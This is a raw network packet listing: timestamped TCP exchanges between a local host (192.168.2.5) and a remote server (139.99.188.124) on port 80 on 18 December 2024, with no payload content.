Dec 18, 2024 09:13:21.825040102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.825164080 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.825222015 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.825911999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.826039076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.826112986 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.826793909 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.826919079 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.826992035 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.827650070 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.827851057 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.827908993 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.828511000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.828614950 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.828674078 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.829377890 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.829513073 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.829653025 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.830252886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.830322981 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.830535889 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.831123114 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.831373930 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.831439018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.832027912 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.832145929 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.832204103 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.832855940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.832880974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.832940102 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.833759069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.833782911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.833841085 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.834626913 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.834717989 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.834779024 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.835474968 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.835552931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.835695982 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.836328030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.836424112 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.836479902 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.837183952 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.837249041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.837311983 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.838123083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.838262081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.838416100 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.838943005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.839046955 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.839107990 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.839762926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.947637081 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.985574007 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.985635042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.985882998 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.985915899 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.986006975 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.986090899 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.986771107 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.986879110 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.987018108 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.987610102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.987663031 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.987725973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.988476992 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.988646030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.988833904 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.989365101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.989471912 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.989518881 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.990216017 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.990317106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.990376949 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.991081953 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.991184950 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.991602898 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.991955042 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.992090940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.992181063 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.992822886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.992947102 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.993166924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.993686914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.993792057 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.993943930 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.994545937 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.994652987 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.994703054 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.995472908 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.995572090 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.995754957 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.996329069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.996397018 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.996447086 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.997241974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.997347116 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.997406960 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.998023033 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.998182058 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.998697042 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.998877048 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.999197006 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.999243975 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:21.999749899 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:21.999855995 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.000273943 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.000611067 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.000679016 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.000782013 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.001533985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.001728058 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.001780987 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.002475977 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.002556086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.003012896 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.003211021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.003334045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.003379107 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.004091024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.004154921 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.004219055 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.004966021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.005132914 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.005332947 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.005820036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.005942106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.006129026 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.006694078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.006788015 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.006968975 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.007546902 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.007678986 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.007843018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.008440971 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.008563995 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.008621931 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.009298086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.009398937 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.009572029 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.010149002 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.010253906 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.010303974 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.011075020 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.011157036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.011271954 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.011892080 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.012023926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.012099028 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.012801886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.012897015 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.013011932 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.013645887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.013740063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.013937950 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.014503956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.014605045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.014664888 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.015356064 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.015476942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.015815973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.016438961 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.016558886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.016649961 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.017096043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.017246008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.017304897 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.017965078 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.018068075 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.018260956 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.018831968 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.018946886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.019098043 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.019700050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.019807100 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.019867897 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.020569086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.020668030 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.020823956 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.021445990 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.021660089 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.021771908 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.022439957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.022542000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.022619963 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.023169041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.023273945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.023423910 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.024040937 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.024210930 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.024274111 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.024903059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.025023937 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.025517941 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.025774956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.025876999 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.026402950 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.026637077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.026768923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.026840925 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.027527094 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.027636051 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.027760983 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.028374910 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.028476000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.028670073 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.029232025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.029344082 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.029400110 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.030127048 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.030256033 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.030306101 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.030947924 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.074928999 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.176853895 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.177138090 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.177203894 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.177547932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.177563906 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.177608013 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.178090096 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.178268909 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.178309917 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.179007053 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.179193020 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.179244995 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.179707050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.179723024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.179773092 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.180716038 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.180893898 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.180974007 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.181610107 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.181653976 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.181699038 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.182404995 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.182578087 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.182625055 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.183306932 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.183500051 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.183543921 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.184022903 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.184231043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.184269905 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.184971094 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.185134888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.185174942 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.185772896 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.186086893 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.186125994 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.186769962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.186785936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.186840057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.187726021 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.187742949 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.187961102 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.188472033 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.188638926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.188709021 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.189340115 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.189508915 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.189683914 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.190331936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.190346956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.190397978 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.190943003 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.191132069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.191186905 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.191895962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.192065001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.192416906 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.192779064 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.192951918 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.192998886 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.193511009 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.193645000 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.193820000 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.195544004 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.195559025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.195624113 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.196270943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.196286917 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.196331978 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.196568966 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.196583986 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.196634054 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.197043896 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.197200060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.197266102 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.198071957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.198086977 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.198152065 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.198751926 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.198932886 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.198991060 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.199621916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.199933052 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.199987888 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.200443029 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.200555086 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.200934887 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.201298952 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.201420069 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.201524973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.202178001 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.202279091 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.202410936 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.203046083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.203166008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.203255892 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.203932047 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.204051971 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.204161882 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.204771996 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.204889059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.205002069 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.205667019 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.205785036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.205862045 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.206518888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.206630945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.206945896 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.207382917 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.207483053 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.207581043 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.208241940 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.208359957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.208739996 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.209119081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.209227085 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.209336042 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.209995031 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.210095882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.210294008 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.210846901 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.210952997 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.211023092 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.211720943 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.211827040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.212248087 CET	49729	80	192.168.2.5	139.99.188.124
